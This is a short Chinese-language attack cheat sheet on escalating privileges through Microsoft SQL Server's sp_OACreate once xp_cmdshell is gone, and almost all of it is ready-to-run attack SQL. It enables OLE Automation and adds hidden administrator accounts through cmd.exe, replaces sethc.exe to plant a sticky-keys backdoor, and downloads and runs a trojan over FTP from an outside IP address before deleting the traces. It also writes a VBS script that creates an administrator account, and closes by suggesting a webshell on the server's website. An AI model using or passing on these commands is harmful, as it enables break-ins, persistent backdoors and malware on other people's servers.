SP_OACreate提权经验

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

首先

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

打开组件,2005中默认关闭

1)直接加用户

2000系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'

 

xp和2003系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'

 

2)粘贴键替换

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件

3)直接传马

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--

4)启动项写入加账户脚本

declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

5)如果该服务器有网站,则直接用方法4)写入一句话
